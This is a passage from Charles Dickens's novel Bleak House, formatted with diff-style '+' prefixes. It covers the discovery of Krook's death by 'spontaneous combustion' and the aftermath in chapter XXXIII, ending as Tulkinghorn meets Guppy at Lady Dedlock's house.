+"May be not, still I don't like it. Live here by yourself and see how
+YOU like it."
+
+"As to dead men, Tony," proceeds Mr. Guppy, evading this proposal,
+"there have been dead men in most rooms."
+
+"I know there have, but in most rooms you let them alone, and--and
+they let you alone," Tony answers.
+
+The two look at each other again. Mr. Guppy makes a hurried remark to
+the effect that they may be doing the deceased a service, that he
+hopes so. There is an oppressive blank until Mr. Weevle, by stirring
+the fire suddenly, makes Mr. Guppy start as if his heart had been
+stirred instead.
+
+"Fah! Here's more of this hateful soot hanging about," says he. "Let
+us open the window a bit and get a mouthful of air. It's too close."
+
+He raises the sash, and they both rest on the window-sill, half in
+and half out of the room. The neighbouring houses are too near to
+admit of their seeing any sky without craning their necks and looking
+up, but lights in frowsy windows here and there, and the rolling of
+distant carriages, and the new expression that there is of the stir
+of men, they find to be comfortable. Mr. Guppy, noiselessly tapping
+on the window-sill, resumes his whispering in quite a light-comedy
+tone.
+
+"By the by, Tony, don't forget old Smallweed," meaning the younger of
+that name. "I have not let him into this, you know. That grandfather
+of his is too keen by half. It runs in the family."
+
+"I remember," says Tony. "I am up to all that."
+
+"And as to Krook," resumes Mr. Guppy. "Now, do you suppose he really
+has got hold of any other papers of importance, as he has boasted to
+you, since you have been such allies?"
+
+Tony shakes his head. "I don't know. Can't Imagine. If we get through
+this business without rousing his suspicions, I shall be better
+informed, no doubt. How can I know without seeing them, when he don't
+know himself? He is always spelling out words from them, and chalking
+them over the table and the shop-wall, and asking what this is and
+what that is; but his whole stock from beginning to end may easily be
+the waste-paper he bought it as, for anything I can say. It's a
+monomania with him to think he is possessed of documents. He has been
+going to learn to read them this last quarter of a century, I should
+judge, from what he tells me."
+
+"How did he first come by that idea, though? That's the question,"
+Mr. Guppy suggests with one eye shut, after a little forensic
+meditation. "He may have found papers in something he bought, where
+papers were not supposed to be, and may have got it into his shrewd
+head from the manner and place of their concealment that they are
+worth something."
+
+"Or he may have been taken in, in some pretended bargain. Or he may
+have been muddled altogether by long staring at whatever he HAS got,
+and by drink, and by hanging about the Lord Chancellor's Court and
+hearing of documents for ever," returns Mr. Weevle.
+
+Mr. Guppy sitting on the window-sill, nodding his head and balancing
+all these possibilities in his mind, continues thoughtfully to tap
+it, and clasp it, and measure it with his hand, until he hastily
+draws his hand away.
+
+"What, in the devil's name," he says, "is this! Look at my fingers!"
+
+A thick, yellow liquor defiles them, which is offensive to the touch
+and sight and more offensive to the smell. A stagnant, sickening oil
+with some natural repulsion in it that makes them both shudder.
+
+"What have you been doing here? What have you been pouring out of
+window?"
+
+"I pouring out of window! Nothing, I swear! Never, since I have been
+here!" cries the lodger.
+
+And yet look here--and look here! When he brings the candle here,
+from the corner of the window-sill, it slowly drips and creeps away
+down the bricks, here lies in a little thick nauseous pool.
+
+"This is a horrible house," says Mr. Guppy, shutting down the window.
+"Give me some water or I shall cut my hand off."
+
+He so washes, and rubs, and scrubs, and smells, and washes, that he
+has not long restored himself with a glass of brandy and stood
+silently before the fire when Saint Paul's bell strikes twelve and
+all those other bells strike twelve from their towers of various
+heights in the dark air, and in their many tones. When all is quiet
+again, the lodger says, "It's the appointed time at last. Shall I
+go?"
+
+Mr. Guppy nods and gives him a "lucky touch" on the back, but not
+with the washed hand, though it is his right hand.
+
+He goes downstairs, and Mr. Guppy tries to compose himself before the
+fire for waiting a long time. But in no more than a minute or two the
+stairs creak and Tony comes swiftly back.
+
+"Have you got them?"
+
+"Got them! No. The old man's not there."
+
+He has been so horribly frightened in the short interval that his
+terror seizes the other, who makes a rush at him and asks loudly,
+"What's the matter?"
+
+"I couldn't make him hear, and I softly opened the door and looked
+in. And the burning smell is there--and the soot is there, and the
+oil is there--and he is not there!" Tony ends this with a groan.
+
+Mr. Guppy takes the light. They go down, more dead than alive, and
+holding one another, push open the door of the back shop. The cat has
+retreated close to it and stands snarling, not at them, at something
+on the ground before the fire. There is a very little fire left in
+the grate, but there is a smouldering, suffocating vapour in the room
+and a dark, greasy coating on the walls and ceiling. The chairs and
+table, and the bottle so rarely absent from the table, all stand as
+usual. On one chair-back hang the old man's hairy cap and coat.
+
+"Look!" whispers the lodger, pointing his friend's attention to these
+objects with a trembling finger. "I told you so. When I saw him last,
+he took his cap off, took out the little bundle of old letters, hung
+his cap on the back of the chair--his coat was there already, for he
+had pulled that off before he went to put the shutters up--and I left
+him turning the letters over in his hand, standing just where that
+crumbled black thing is upon the floor."
+
+Is he hanging somewhere? They look up. No.
+
+"See!" whispers Tony. "At the foot of the same chair there lies a
+dirty bit of thin red cord that they tie up pens with. That went
+round the letters. He undid it slowly, leering and laughing at me,
+before he began to turn them over, and threw it there. I saw it
+fall."
+
+"What's the matter with the cat?" says Mr. Guppy. "Look at her!"
+
+"Mad, I think. And no wonder in this evil place."
+
+They advance slowly, looking at all these things. The cat remains
+where they found her, still snarling at the something on the ground
+before the fire and between the two chairs. What is it? Hold up the
+light.
+
+Here is a small burnt patch of flooring; here is the tinder from a
+little bundle of burnt paper, but not so light as usual, seeming to
+be steeped in something; and here is--is it the cinder of a small
+charred and broken log of wood sprinkled with white ashes, or is it
+coal? Oh, horror, he IS here! And this from which we run away,
+striking out the light and overturning one another into the street,
+is all that represents him.
+
+Help, help, help! Come into this house for heaven's sake! Plenty will
+come in, but none can help. The Lord Chancellor of that court, true
+to his title in his last act, has died the death of all lord
+chancellors in all courts and of all authorities in all places under
+all names soever, where false pretences are made, and where injustice
+is done. Call the death by any name your Highness will, attribute
+it to whom you will, or say it might have been prevented how you
+will, it is the same death eternally--inborn, inbred, engendered
+in the corrupted humours of the vicious body itself, and that
+only--spontaneous combustion, and none other of all the deaths that
+can be died.
+
+
+
+
+CHAPTER XXXIII
+
+Interlopers
+
+
+Now do those two gentlemen not very neat about the cuffs and buttons
+who attended the last coroner's inquest at the Sol's Arms reappear in
+the precincts with surprising swiftness (being, in fact, breathlessly
+fetched by the active and intelligent beadle), and institute
+perquisitions through the court, and dive into the Sol's parlour, and
+write with ravenous little pens on tissue-paper. Now do they note
+down, in the watches of the night, how the neighbourhood of Chancery
+Lane was yesterday, at about midnight, thrown into a state of the
+most intense agitation and excitement by the following alarming and
+horrible discovery. Now do they set forth how it will doubtless be
+remembered that some time back a painful sensation was created in the
+public mind by a case of mysterious death from opium occurring in the
+first floor of the house occupied as a rag, bottle, and general
+marine store shop, by an eccentric individual of intemperate habits,
+far advanced in life, named Krook; and how, by a remarkable
+coincidence, Krook was examined at the inquest, which it may be
+recollected was held on that occasion at the Sol's Arms, a
+well-conducted tavern immediately adjoining the premises in question
+on the west side and licensed to a highly respectable landlord, Mr.
+James George Bogsby. Now do they show (in as many words as possible)
+how during some hours of yesterday evening a very peculiar smell was
+observed by the inhabitants of the court, in which the tragical
+occurrence which forms the subject of that present account
+transpired; and which odour was at one time so powerful that Mr.
+Swills, a comic vocalist professionally engaged by Mr. J. G. Bogsby,
+has himself stated to our reporter that he mentioned to Miss M.
+Melvilleson, a lady of some pretensions to musical ability, likewise
+engaged by Mr. J. G. Bogsby to sing at a series of concerts called
+Harmonic Assemblies, or Meetings, which it would appear are held at
+the Sol's Arms under Mr. Bogsby's direction pursuant to the Act of
+George the Second, that he (Mr. Swills) found his voice seriously
+affected by the impure state of the atmosphere, his jocose expression
+at the time being that he was like an empty post-office, for he
+hadn't a single note in him. How this account of Mr. Swills is
+entirely corroborated by two intelligent married females residing in
+the same court and known respectively by the names of Mrs. Piper and
+Mrs. Perkins, both of whom observed the foetid effluvia and regarded
+them as being emitted from the premises in the occupation of Krook,
+the unfortunate deceased. All this and a great deal more the two
+gentlemen who have formed an amicable partnership in the melancholy
+catastrophe write down on the spot; and the boy population of the
+court (out of bed in a moment) swarm up the shutters of the Sol's
+Arms parlour, to behold the tops of their heads while they are about
+it.
+
+The whole court, adult as well as boy, is sleepless for that night,
+and can do nothing but wrap up its many heads, and talk of the
+ill-fated house, and look at it. Miss Flite has been bravely rescued
+from her chamber, as if it were in flames, and accommodated with a
+bed at the Sol's Arms. The Sol neither turns off its gas nor shuts
+its door all night, for any kind of public excitement makes good for
+the Sol and causes the court to stand in need of comfort. The house
+has not done so much in the stomachic article of cloves or in
+brandy-and-water warm since the inquest. The moment the pot-boy heard
+what had happened, he rolled up his shirt-sleeves tight to his
+shoulders and said, "There'll be a run upon us!" In the first outcry,
+young Piper dashed off for the fire-engines and returned in triumph
+at a jolting gallop perched up aloft on the Phoenix and holding on to
+that fabulous creature with all his might in the midst of helmets and
+torches. One helmet remains behind after careful investigation of all
+chinks and crannies and slowly paces up and down before the house in
+company with one of the two policemen who have likewise been left in
+charge thereof. To this trio everybody in the court possessed of
+sixpence has an insatiate desire to exhibit hospitality in a liquid
+form.
+
+Mr. Weevle and his friend Mr. Guppy are within the bar at the Sol and
+are worth anything to the Sol that the bar contains if they will only
+stay there. "This is not a time," says Mr. Bogsby, "to haggle about
+money," though he looks something sharply after it, over the counter;
+"give your orders, you two gentlemen, and you're welcome to whatever
+you put a name to."
+
+Thus entreated, the two gentlemen (Mr. Weevle especially) put names
+to so many things that in course of time they find it difficult to
+put a name to anything quite distinctly, though they still relate to
+all new-comers some version of the night they have had of it, and of
+what they said, and what they thought, and what they saw. Meanwhile,
+one or other of the policemen often flits about the door, and pushing
+it open a little way at the full length of his arm, looks in from
+outer gloom. Not that he has any suspicions, but that he may as well
+know what they are up to in there.
+
+Thus night pursues its leaden course, finding the court still out of
+bed through the unwonted hours, still treating and being treated,
+still conducting itself similarly to a court that has had a little
+money left it unexpectedly. Thus night at length with slow-retreating
+steps departs, and the lamp-lighter going his rounds, like an
+executioner to a despotic king, strikes off the little heads of fire
+that have aspired to lessen the darkness. Thus the day cometh,
+whether or no.
+
+And the day may discern, even with its dim London eye, that the court
+has been up all night. Over and above the faces that have fallen
+drowsily on tables and the heels that lie prone on hard floors
+instead of beds, the brick and mortar physiognomy of the very court
+itself looks worn and jaded. And now the neighbourhood, waking up and
+beginning to hear of what has happened, comes streaming in, half
+dressed, to ask questions; and the two policemen and the helmet (who
+are far less impressible externally than the court) have enough to do
+to keep the door.
+
+"Good gracious, gentlemen!" says Mr. Snagsby, coming up. "What's this
+I hear!"
+
+"Why, it's true," returns one of the policemen. "That's what it is.
+Now move on here, come!"
+
+"Why, good gracious, gentlemen," says Mr. Snagsby, somewhat promptly
+backed away, "I was at this door last night betwixt ten and eleven
+o'clock in conversation with the young man who lodges here."
+
+"Indeed?" returns the policeman. "You will find the young man next
+door then. Now move on here, some of you."
+
+"Not hurt, I hope?" says Mr. Snagsby.
+
+"Hurt? No. What's to hurt him!"
+
+Mr. Snagsby, wholly unable to answer this or any question in his
+troubled mind, repairs to the Sol's Arms and finds Mr. Weevle
+languishing over tea and toast with a considerable expression on him
+of exhausted excitement and exhausted tobacco-smoke.
+
+"And Mr. Guppy likewise!" quoth Mr. Snagsby. "Dear, dear, dear! What
+a fate there seems in all this! And my lit--"
+
+Mr. Snagsby's power of speech deserts him in the formation of the
+words "my little woman." For to see that injured female walk into the
+Sol's Arms at that hour of the morning and stand before the
+beer-engine, with her eyes fixed upon him like an accusing spirit,
+strikes him dumb.
+
+"My dear," says Mr. Snagsby when his tongue is loosened, "will you
+take anything? A little--not to put too fine a point upon it--drop of
+shrub?"
+
+"No," says Mrs. Snagsby.
+
+"My love, you know these two gentlemen?"
+
+"Yes!" says Mrs. Snagsby, and in a rigid manner acknowledges their
+presence, still fixing Mr. Snagsby with her eye.
+
+The devoted Mr. Snagsby cannot bear this treatment. He takes Mrs.
+Snagsby by the hand and leads her aside to an adjacent cask.
+
+"My little woman, why do you look at me in that way? Pray don't do
+it."
+
+"I can't help my looks," says Mrs. Snagsby, "and if I could I
+wouldn't."
+
+Mr. Snagsby, with his cough of meekness, rejoins, "Wouldn't you
+really, my dear?" and meditates. Then coughs his cough of trouble and
+says, "This is a dreadful mystery, my love!" still fearfully
+disconcerted by Mrs. Snagsby's eye.
+
+"It IS," returns Mrs. Snagsby, shaking her head, "a dreadful
+mystery."
+
+"My little woman," urges Mr. Snagsby in a piteous manner, "don't for
+goodness' sake speak to me with that bitter expression and look at me
+in that searching way! I beg and entreat of you not to do it. Good
+Lord, you don't suppose that I would go spontaneously combusting any
+person, my dear?"
+
+"I can't say," returns Mrs. Snagsby.
+
+On a hasty review of his unfortunate position, Mr. Snagsby "can't
+say" either. He is not prepared positively to deny that he may have
+had something to do with it. He has had something--he don't know
+what--to do with so much in this connexion that is mysterious that it
+is possible he may even be implicated, without knowing it, in the
+present transaction. He faintly wipes his forehead with his
+handkerchief and gasps.
+
+"My life," says the unhappy stationer, "would you have any objections
+to mention why, being in general so delicately circumspect in your
+conduct, you come into a wine-vaults before breakfast?"
+
+"Why do YOU come here?" inquires Mrs. Snagsby.
+
+"My dear, merely to know the rights of the fatal accident which has
+happened to the venerable party who has been--combusted." Mr. Snagsby
+has made a pause to suppress a groan. "I should then have related
+them to you, my love, over your French roll."
+
+"I dare say you would! You relate everything to me, Mr. Snagsby."
+
+"Every--my lit--"
+
+"I should be glad," says Mrs. Snagsby after contemplating his
+increased confusion with a severe and sinister smile, "if you would
+come home with me; I think you may be safer there, Mr. Snagsby, than
+anywhere else."
+
+"My love, I don't know but what I may be, I am sure. I am ready to
+go."
+
+Mr. Snagsby casts his eye forlornly round the bar, gives Messrs.
+Weevle and Guppy good morning, assures them of the satisfaction with
+which he sees them uninjured, and accompanies Mrs. Snagsby from the
+Sol's Arms. Before night his doubt whether he may not be responsible
+for some inconceivable part in the catastrophe which is the talk of
+the whole neighbourhood is almost resolved into certainty by Mrs.
+Snagsby's pertinacity in that fixed gaze. His mental sufferings are
+so great that he entertains wandering ideas of delivering himself up
+to justice and requiring to be cleared if innocent and punished with
+the utmost rigour of the law if guilty.
+
+Mr. Weevle and Mr. Guppy, having taken their breakfast, step into
+Lincoln's Inn to take a little walk about the square and clear as
+many of the dark cobwebs out of their brains as a little walk may.
+
+"There can be no more favourable time than the present, Tony," says
+Mr. Guppy after they have broodingly made out the four sides of the
+square, "for a word or two between us upon a point on which we must,
+with very little delay, come to an understanding."
+
+"Now, I tell you what, William G.!" returns the other, eyeing his
+companion with a bloodshot eye. "If it's a point of conspiracy, you
+needn't take the trouble to mention it. I have had enough of that,
+and I ain't going to have any more. We shall have YOU taking fire
+next or blowing up with a bang."
+
+This supposititious phenomenon is so very disagreeable to Mr. Guppy
+that his voice quakes as he says in a moral way, "Tony, I should have
+thought that what we went through last night would have been a lesson
+to you never to be personal any more as long as you lived." To which
+Mr. Weevle returns, "William, I should have thought it would have
+been a lesson to YOU never to conspire any more as long as you
+lived." To which Mr. Guppy says, "Who's conspiring?" To which Mr.
+Jobling replies, "Why, YOU are!" To which Mr. Guppy retorts, "No, I
+am not." To which Mr. Jobling retorts again, "Yes, you are!" To which
+Mr. Guppy retorts, "Who says so?" To which Mr. Jobling retorts, "I
+say so!" To which Mr. Guppy retorts, "Oh, indeed?" To which Mr.
+Jobling retorts, "Yes, indeed!" And both being now in a heated state,
+they walk on silently for a while to cool down again.
+
+"Tony," says Mr. Guppy then, "if you heard your friend out instead of
+flying at him, you wouldn't fall into mistakes. But your temper is
+hasty and you are not considerate. Possessing in yourself, Tony, all
+that is calculated to charm the eye--"
+
+"Oh! Blow the eye!" cries Mr. Weevle, cutting him short. "Say what
+you have got to say!"
+
+Finding his friend in this morose and material condition, Mr. Guppy
+only expresses the finer feelings of his soul through the tone of
+injury in which he recommences, "Tony, when I say there is a point on
+which we must come to an understanding pretty soon, I say so quite
+apart from any kind of conspiring, however innocent. You know it is
+professionally arranged beforehand in all cases that are tried what
+facts the witnesses are to prove. Is it or is it not desirable that
+we should know what facts we are to prove on the inquiry into the
+death of this unfortunate old mo--gentleman?" (Mr. Guppy was going to
+say "mogul," but thinks "gentleman" better suited to the
+circumstances.)
+
+"What facts? THE facts."
+
+"The facts bearing on that inquiry. Those are"--Mr. Guppy tells them
+off on his fingers--"what we knew of his habits, when you saw him
+last, what his condition was then, the discovery that we made, and
+how we made it."
+
+"Yes," says Mr. Weevle. "Those are about the facts."
+
+"We made the discovery in consequence of his having, in his eccentric
+way, an appointment with you at twelve o'clock at night, when you
+were to explain some writing to him as you had often done before on
+account of his not being able to read. I, spending the evening with
+you, was called down--and so forth. The inquiry being only into the
+circumstances touching the death of the deceased, it's not necessary
+to go beyond these facts, I suppose you'll agree?"
+
+"No!" returns Mr. Weevle. "I suppose not."
+
+"And this is not a conspiracy, perhaps?" says the injured Guppy.
+
+"No," returns his friend; "if it's nothing worse than this, I
+withdraw the observation."
+
+"Now, Tony," says Mr. Guppy, taking his arm again and walking him
+slowly on, "I should like to know, in a friendly way, whether you
+have yet thought over the many advantages of your continuing to live
+at that place?"
+
+"What do you mean?" says Tony, stopping.
+
+"Whether you have yet thought over the many advantages of your
+continuing to live at that place?" repeats Mr. Guppy, walking him on
+again.
+
+"At what place? THAT place?" pointing in the direction of the rag and
+bottle shop.
+
+Mr. Guppy nods.
+
+"Why, I wouldn't pass another night there for any consideration that
+you could offer me," says Mr. Weevle, haggardly staring.
+
+"Do you mean it though, Tony?"
+
+"Mean it! Do I look as if I mean it? I feel as if I do; I know that,"
+says Mr. Weevle with a very genuine shudder.
+
+"Then the possibility or probability--for such it must be
+considered--of your never being disturbed in possession of those
+effects lately belonging to a lone old man who seemed to have no
+relation in the world, and the certainty of your being able to find
+out what he really had got stored up there, don't weigh with you at
+all against last night, Tony, if I understand you?" says Mr. Guppy,
+biting his thumb with the appetite of vexation.
+
+"Certainly not. Talk in that cool way of a fellow's living there?"
+cries Mr. Weevle indignantly. "Go and live there yourself."
+
+"Oh! I, Tony!" says Mr. Guppy, soothing him. "I have never lived
+there and couldn't get a lodging there now, whereas you have got
+one."
+
+"You are welcome to it," rejoins his friend, "and--ugh!--you may make
+yourself at home in it."
+
+"Then you really and truly at this point," says Mr. Guppy, "give up
+the whole thing, if I understand you, Tony?"
+
+"You never," returns Tony with a most convincing steadfastness, "said
+a truer word in all your life. I do!"
+
+While they are so conversing, a hackney-coach drives into the square,
+on the box of which vehicle a very tall hat makes itself manifest to
+the public. Inside the coach, and consequently not so manifest to the
+multitude, though sufficiently so to the two friends, for the coach
+stops almost at their feet, are the venerable Mr. Smallweed and Mrs.
+Smallweed, accompanied by their granddaughter Judy.
+
+An air of haste and excitement pervades the party, and as the tall
+hat (surmounting Mr. Smallweed the younger) alights, Mr. Smallweed
+the elder pokes his head out of window and bawls to Mr. Guppy, "How
+de do, sir! How de do!"
+
+"What do Chick and his family want here at this time of the morning,
+I wonder!" says Mr. Guppy, nodding to his familiar.
+
+"My dear sir," cries Grandfather Smallweed, "would you do me a
+favour? Would you and your friend be so very obleeging as to carry me
+into the public-house in the court, while Bart and his sister bring
+their grandmother along? Would you do an old man that good turn,
+sir?"
+
+Mr. Guppy looks at his friend, repeating inquiringly, "The
+public-house in the court?" And they prepare to bear the venerable
+burden to the Sol's Arms.
+
+"There's your fare!" says the patriarch to the coachman with a fierce
+grin and shaking his incapable fist at him. "Ask me for a penny more,
+and I'll have my lawful revenge upon you. My dear young men, be easy
+with me, if you please. Allow me to catch you round the neck. I won't
+squeeze you tighter than I can help. Oh, Lord! Oh, dear me! Oh, my
+bones!"
+
+It is well that the Sol is not far off, for Mr. Weevle presents an
+apoplectic appearance before half the distance is accomplished. With
+no worse aggravation of his symptoms, however, than the utterance of
+divers croaking sounds expressive of obstructed respiration, he
+fulfils his share of the porterage and the benevolent old gentleman
+is deposited by his own desire in the parlour of the Sol's Arms.
+
+"Oh, Lord!" gasps Mr. Smallweed, looking about him, breathless, from
+an arm-chair. "Oh, dear me! Oh, my bones and back! Oh, my aches and
+pains! Sit down, you dancing, prancing, shambling, scrambling
+poll-parrot! Sit down!"
+
+This little apostrophe to Mrs. Smallweed is occasioned by a
+propensity on the part of that unlucky old lady whenever she finds
+herself on her feet to amble about and "set" to inanimate objects,
+accompanying herself with a chattering noise, as in a witch dance. A
+nervous affection has probably as much to do with these
+demonstrations as any imbecile intention in the poor old woman, but
+on the present occasion they are so particularly lively in connexion
+with the Windsor arm-chair, fellow to that in which Mr. Smallweed is
+seated, that she only quite desists when her grandchildren have held
+her down in it, her lord in the meanwhile bestowing upon her, with
+great volubility, the endearing epithet of "a pig-headed jackdaw,"
+repeated a surprising number of times.
+
+"My dear sir," Grandfather Smallweed then proceeds, addressing Mr.
+Guppy, "there has been a calamity here. Have you heard of it, either
+of you?"
+
+"Heard of it, sir! Why, we discovered it."
+
+"You discovered it. You two discovered it! Bart, THEY discovered it!"
+
+The two discoverers stare at the Smallweeds, who return the
+compliment.
+
+"My dear friends," whines Grandfather Smallweed, putting out both his
+hands, "I owe you a thousand thanks for discharging the melancholy
+office of discovering the ashes of Mrs. Smallweed's brother."
+
+"Eh?" says Mr. Guppy.
+
+"Mrs. Smallweed's brother, my dear friend--her only relation. We were
+not on terms, which is to be deplored now, but he never WOULD be on
+terms. He was not fond of us. He was eccentric--he was very
+eccentric. Unless he has left a will (which is not at all likely) I
+shall take out letters of administration. I have come down to look
+after the property; it must be sealed up, it must be protected. I
+have come down," repeats Grandfather Smallweed, hooking the air
+towards him with all his ten fingers at once, "to look after the
+property."
+
+"I think, Small," says the disconsolate Mr. Guppy, "you might have
+mentioned that the old man was your uncle."
+
+"You two were so close about him that I thought you would like me to
+be the same," returns that old bird with a secretly glistening eye.
+"Besides, I wasn't proud of him."
+
+"Besides which, it was nothing to you, you know, whether he was or
+not," says Judy. Also with a secretly glistening eye.
+
+"He never saw me in his life to know me," observed Small; "I don't
+know why I should introduce HIM, I am sure!"
+
+"No, he never communicated with us, which is to be deplored," the old
+gentleman strikes in, "but I have come to look after the property--to
+look over the papers, and to look after the property. We shall make
+good our title. It is in the hands of my solicitor. Mr. Tulkinghorn,
+of Lincoln's Inn Fields, over the way there, is so good as to act as
+my solicitor; and grass don't grow under HIS feet, I can tell ye.
+Krook was Mrs. Smallweed's only brother; she had no relation but
+Krook, and Krook had no relation but Mrs. Smallweed. I am speaking of
+your brother, you brimstone black-beetle, that was seventy-six years
+of age."
+
+Mrs. Smallweed instantly begins to shake her head and pipe up,
+"Seventy-six pound seven and sevenpence! Seventy-six thousand bags of
+money! Seventy-six hundred thousand million of parcels of
+bank-notes!"
+
+"Will somebody give me a quart pot?" exclaims her exasperated
+husband, looking helplessly about him and finding no missile within
+his reach. "Will somebody obleege me with a spittoon? Will somebody
+hand me anything hard and bruising to pelt at her? You hag, you cat,
+you dog, you brimstone barker!" Here Mr. Smallweed, wrought up to the
+highest pitch by his own eloquence, actually throws Judy at her
+grandmother in default of anything else, by butting that young virgin
+at the old lady with such force as he can muster and then dropping
+into his chair in a heap.
+
+"Shake me up, somebody, if you'll be so good," says the voice from
+within the faintly struggling bundle into which he has collapsed. "I
+have come to look after the property. Shake me up, and call in the
+police on duty at the next house to be explained to about the
+property. My solicitor will be here presently to protect the
+property. Transportation or the gallows for anybody who shall touch
+the property!" As his dutiful grandchildren set him up, panting, and
+putting him through the usual restorative process of shaking and
+punching, he still repeats like an echo, "The--the property! The
+property! Property!"
+
+Mr. Weevle and Mr. Guppy look at each other, the former as having
+relinquished the whole affair, the latter with a discomfited
+countenance as having entertained some lingering expectations yet.
+But there is nothing to be done in opposition to the Smallweed
+interest. Mr. Tulkinghorn's clerk comes down from his official pew in
+the chambers to mention to the police that Mr. Tulkinghorn is
+answerable for its being all correct about the next of kin and that
+the papers and effects will be formally taken possession of in due
+time and course. Mr. Smallweed is at once permitted so far to assert
+his supremacy as to be carried on a visit of sentiment into the next
+house and upstairs into Miss Flite's deserted room, where he looks
+like a hideous bird of prey newly added to her aviary.
+
+The arrival of this unexpected heir soon taking wind in the court
+still makes good for the Sol and keeps the court upon its mettle.
+Mrs. Piper and Mrs. Perkins think it hard upon the young man if there
+really is no will, and consider that a handsome present ought to be
+made him out of the estate. Young Piper and young Perkins, as members
+of that restless juvenile circle which is the terror of the
+foot-passengers in Chancery Lane, crumble into ashes behind the pump
+and under the archway all day long, where wild yells and hootings
+take place over their remains. Little Swills and Miss M. Melvilleson
+enter into affable conversation with their patrons, feeling that
+these unusual occurrences level the barriers between professionals
+and non-professionals. Mr. Bogsby puts up "The popular song of King
+Death, with chorus by the whole strength of the company," as the
+great Harmonic feature of the week and announces in the bill that "J.
+G. B. is induced to do so at a considerable extra expense in
+consequence of a wish which has been very generally expressed at the
+bar by a large body of respectable individuals and in homage to a
+late melancholy event which has aroused so much sensation." There is
+one point connected with the deceased upon which the court is
+particularly anxious, namely, that the fiction of a full-sized coffin
+should be preserved, though there is so little to put in it. Upon the
+undertaker's stating in the Sol's bar in the course of the day that
+he has received orders to construct "a six-footer," the general
+solicitude is much relieved, and it is considered that Mr.
+Smallweed's conduct does him great honour.
+
+Out of the court, and a long way out of it, there is considerable
+excitement too, for men of science and philosophy come to look, and
+carriages set down doctors at the corner who arrive with the same
+intent, and there is more learned talk about inflammable gases and
+phosphuretted hydrogen than the court has ever imagined. Some of
+these authorities (of course the wisest) hold with indignation that
+the deceased had no business to die in the alleged manner; and being
+reminded by other authorities of a certain inquiry into the evidence
+for such deaths reprinted in the sixth volume of the Philosophical
+Transactions; and also of a book not quite unknown on English medical
+jurisprudence; and likewise of the Italian case of the Countess
+Cornelia Baudi as set forth in detail by one Bianchini, prebendary of
+Verona, who wrote a scholarly work or so and was occasionally heard
+of in his time as having gleams of reason in him; and also of the
+testimony of Messrs. Fodere and Mere, two pestilent Frenchmen who
+WOULD investigate the subject; and further, of the corroborative
+testimony of Monsieur Le Cat, a rather celebrated French surgeon once
+upon a time, who had the unpoliteness to live in a house where such a
+case occurred and even to write an account of it--still they regard
+the late Mr. Krook's obstinacy in going out of the world by any such
+by-way as wholly unjustifiable and personally offensive. The less the
+court understands of all this, the more the court likes it, and the
+greater enjoyment it has in the stock in trade of the Sol's Arms.
+Then there comes the artist of a picture newspaper, with a foreground
+and figures ready drawn for anything from a wreck on the Cornish
+coast to a review in Hyde Park or a meeting in Manchester, and in
+Mrs. Perkins' own room, memorable evermore, he then and there throws
+in upon the block Mr. Krook's house, as large as life; in fact,
+considerably larger, making a very temple of it. Similarly, being
+permitted to look in at the door of the fatal chamber, he depicts
+that apartment as three-quarters of a mile long by fifty yards high,
+at which the court is particularly charmed. All this time the two
+gentlemen before mentioned pop in and out of every house and assist
+at the philosophical disputations--go everywhere and listen to
+everybody--and yet are always diving into the Sol's parlour and
+writing with the ravenous little pens on the tissue-paper.
+
+At last come the coroner and his inquiry, like as before, except that
+the coroner cherishes this case as being out of the common way and
+tells the gentlemen of the jury, in his private capacity, that "that
+would seem to be an unlucky house next door, gentlemen, a destined
+house; but so we sometimes find it, and these are mysteries we can't
+account for!" After which the six-footer comes into action and is
+much admired.
+
+In all these proceedings Mr. Guppy has so slight a part, except when
+he gives his evidence, that he is moved on like a private individual
+and can only haunt the secret house on the outside, where he has the
+mortification of seeing Mr. Smallweed padlocking the door, and of
+bitterly knowing himself to be shut out. But before these proceedings
+draw to a close, that is to say, on the night next after the
+catastrophe, Mr. Guppy has a thing to say that must be said to Lady
+Dedlock.
+
+For which reason, with a sinking heart and with that hang-dog sense
+of guilt upon him which dread and watching enfolded in the Sol's Arms
+have produced, the young man of the name of Guppy presents himself at
+the town mansion at about seven o'clock in the evening and requests
+to see her ladyship. Mercury replies that she is going out to dinner;
+don't he see the carriage at the door? Yes, he does see the carriage
+at the door; but he wants to see my Lady too.
+
+Mercury is disposed, as he will presently declare to a
+fellow-gentleman in waiting, "to pitch into the young man"; but his
+instructions are positive. Therefore he sulkily supposes that the
+young man must come up into the library. There he leaves the young
+man in a large room, not over-light, while he makes report of him.
+
+Mr. Guppy looks into the shade in all directions, discovering
+everywhere a certain charred and whitened little heap of coal or
+wood. Presently he hears a rustling. Is it--? No, it's no ghost, but
+fair flesh and blood, most brilliantly dressed.
+
+"I have to beg your ladyship's pardon," Mr. Guppy stammers, very
+downcast. "This is an inconvenient time--"
+
+"I told you, you could come at any time." She takes a chair, looking
+straight at him as on the last occasion.
+
+"Thank your ladyship. Your ladyship is very affable."
+
+"You can sit down." There is not much affability in her tone.
+
+"I don't know, your ladyship, that it's worth while my sitting down
+and detaining you, for I--I have not got the letters that I mentioned
+when I had the honour of waiting on your ladyship."
+
+"Have you come merely to say so?"
+
+"Merely to say so, your ladyship." Mr. Guppy besides being depressed,
+disappointed, and uneasy, is put at a further disadvantage by the
+splendour and beauty of her appearance.
+
+She knows its influence perfectly, has studied it too well to miss a
+grain of its effect on any one. As she looks at him so steadily and
+coldly, he not only feels conscious that he has no guide in the least
+perception of what is really the complexion of her thoughts, but also
+that he is being every moment, as it were, removed further and
+further from her.
+
+She will not speak, it is plain. So he must.
+
+"In short, your ladyship," says Mr. Guppy like a meanly penitent
+thief, "the person I was to have had the letters of, has come to a
+sudden end, and--" He stops. Lady Dedlock calmly finishes the
+sentence.
+
+"And the letters are destroyed with the person?"
+
+Mr. Guppy would say no if he could--as he is unable to hide.
+
+"I believe so, your ladyship."
+
+If he could see the least sparkle of relief in her face now? No, he
+could see no such thing, even if that brave outside did not utterly
+put him away, and he were not looking beyond it and about it.
+
+He falters an awkward excuse or two for his failure.
+
+"Is this all you have to say?" inquires Lady Dedlock, having heard
+him out--or as nearly out as he can stumble.
+
+Mr. Guppy thinks that's all.
+
+"You had better be sure that you wish to say nothing more to me, this
+being the last time you will have the opportunity."
+
+Mr. Guppy is quite sure. And indeed he has no such wish at present,
+by any means.
+
+"That is enough. I will dispense with excuses. Good evening to you!"
+And she rings for Mercury to show the young man of the name of Guppy
+out.
+
+But in that house, in that same moment, there happens to be an old
+man of the name of Tulkinghorn. And that old man, coming with his
+quiet footstep to the library, has his hand at that moment on the
+handle of the door--comes in--and comes face to face with the young
+man as he is leaving the room.
+
